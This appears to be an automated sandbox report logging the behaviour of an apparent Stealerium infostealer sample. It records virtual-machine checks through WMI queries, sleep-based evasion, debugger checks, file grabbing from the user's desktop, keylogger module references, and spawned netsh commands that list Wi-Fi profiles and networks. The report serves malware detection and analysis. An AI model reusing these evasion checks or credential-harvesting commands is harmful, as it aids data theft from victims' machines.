Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe TID: 2952	Thread sleep time: -40023s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe TID: 404	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Thread delayed: delay time: 40023			Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB\BPMLNOBVSB.docx	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\	Jump to behavior

Source: f2wWJWlU2B.exe, 00000005.00000003.532268446.000000000620B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: f2wWJWlU2B.exe, 00000005.00000003.409475090.00000000062C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCXZA9RYWWin32_VideoController4FST22H6VideoController120060621000000.000000-00014985221display.infMSBDAUP2FLTBUPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsF33A1LTV]
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: f2wWJWlU2B.exe, 00000005.00000003.409475090.0000000006294000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCXZA9RYWWin32_VideoController4FST22H6VideoController120060621000000.000000-00014985221display.infMSBDAUP2FLTBUPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsF33A1LTV
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003990000.00000004.00000800.00020000.00000000.sdmp, Info.txt.5.dr	Binary or memory string: VirtualMachine: False
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VirtualMachine:
Source: f2wWJWlU2B.exe, 00000005.00000003.411345899.0000000006155000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ISTRY\USER\S-1-5-21-3853321935-2125563209-4053062332-1002_Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32deoController(Standard display types)VMwareCXZA9RYWWin32_VideoController4FST22H6VideoController120060621000000.000000-00014985221display.infMSBDAUP2FLTBUPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024
Source: f2wWJWlU2B.exe, 00000005.00000003.532268446.000000000620B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCXZA9RYWWin32_VideoController4FST22H6VideoController120060621000000.000000-00014985221display.infMSBDAUP2FLTBUPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsF33A1LTVp

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, Stealerium/Modules/Keylogger/Keylogger.cs	Reference to suspicious API methods: ('MapVirtualKey', 'MapVirtualKey@user32.dll')
Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, Stealerium/Target/Browsers/Firefox/WinApi.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Users\user\Desktop\f2wWJWlU2B.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
